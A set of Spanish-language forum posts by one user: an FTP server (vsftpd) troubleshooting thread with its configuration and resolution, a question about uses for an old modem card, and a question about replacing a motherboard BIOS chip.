listen_address=0.0.0.0
listen_port=21
local_enable=YES
write_enable=YES
max_clients=100
max_per_ip=3
#pam_service_name=vsftpd
pasv_max_port=60000
pasv_min_port=50000
#session_support=NO
use_localtime=YES
user_config_dir=/etc/vsftpd/users
userlist_enable=YES
userlist_file=/etc/vsftpd/denied_users
#virtual_use_local_privs=YES
xferlog_enable=YES
async_abor_enable=YES
connect_from_port_20=YES
dirlist_enable=NO
download_enable=yes
#local_umask=000


-Los permisos de la carpeta del usuario FTP en cuestión son de chmod 777 -R ...  vamos que tiene todos los permisos.


LO QUE HE PROBADO:

-Configurar usuarios virtuales.

-Abrir puertos del cliente para descargar archivo del servidor.

-Configuraciones del archivo vsftpd.conf habidas y por haber.


---------------------------------------------------------


Si necesitáis saber algo mas solo pedirlo.

Gracias por la ayuda, ya recurro al foro porque se me acaban las formas lógicas de probar a que funcione.


--------------------------------------------------------

IMPORTANTE!

Acabo de probar de conectarme con Windows y he podido sin problemas cargar un archivo, así que el problema reside en el cliente de linux, seguramente el IPTABLES. Demomento que sepa solo tengo abiertos el rango de puertos de 50000:60000.


LA SOLUCIÓN:


Por tonto que parezca era simplemente que el archivo que intentaba enviar estaba en una ruta que no tenia permisos para enviar.

En fin, dejo el hilo por si a alguien le ocurriera lo mismo, para que no se vuelva loco como yo por una tontería.

Hasta otra!
#44
Redes / Que hacer con una tarjeta modem
26 Junio 2011, 20:37 PM
Hola.

Quería saber si alguien sabe que utilidad se le puede dar a una tarjeta modem.

Lo digo desde mi ignorancia, pero .... siguen habiendo conexiones por cable RJ11 conectado directamente al modem de un ordenador?

Según se yo en los pueblos aún se usan, por el tema de que no puede llegar fibra optica ni coaxial y solo llega el telefónico. Aunque con lo del 3G supongo que irá desapareciendo.

Bueno pues eso, que tengo un par de tarjetas modem sin usar y quería saber si se puede hacer algo con ellas.

A un profesor de redes del año pasado le oí decir que se podía conectar un cable RJ11 con linea de teléfono directamente al modem de un ordenador y navegar a 5k, o algo así, de gratix. Es eso cierto?

Gracias por leer
#45
Hardware / Cambiar la BIOS fisicamente.
7 Mayo 2011, 23:31 PM
Saludos

Tengo una placa base que no me funcionaba. No se porque pero pense que seía de la BIOS. Compré una BIOS y la cambie. Pero sique sin funcionar.

Mi pregunta es si hay que hacer algo especial en la placa para que coja la nueva BIOS.

Gracias de antemano.